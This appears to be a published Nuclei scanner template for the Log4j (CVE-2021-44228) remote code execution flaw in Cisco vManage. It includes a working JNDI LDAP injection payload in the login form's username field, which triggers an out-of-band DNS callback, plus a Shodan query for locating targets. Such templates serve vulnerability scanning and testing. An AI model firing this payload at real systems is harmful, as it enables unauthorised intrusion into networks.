cisco-vmanage-log4j-rce: Cisco vManage (Log4j) - Remote Code Execution

2025-08-01 Cisco vManage PoC Public

Description

Cisco vManage is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. More information is available in the cisco-sa-apache-log4j-qRuKNEbd advisory.

PoC

id: cisco-vmanage-log4j-rce

info:
  name: Cisco vManage (Log4j) - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: Cisco vManage is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. More information is available in the cisco-sa-apache-log4j-qRuKNEbd advisory.
  reference:
    - https://www.tenable.com/plugins/nessus/161212
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77,CWE-502
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"vManage"
  tags: log4j,cisco,tenable,cve,cve2021,rce,jndi,kev,oast,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        @timeout: 20s
        POST /j_security_check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}

        j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}&j_password=admin&submit=Log+In

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<title>Cisco vManage</title>'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4b0a00483046022100dc95be69d2c104858d473dbfa3ee179eb0b2824c16a384db013ff7238c20e169022100a35cea640e662452769dceb0061ac58c08d338138788bf9629023ee7341ab976:922c64590222798bb761d5b6d8e72950

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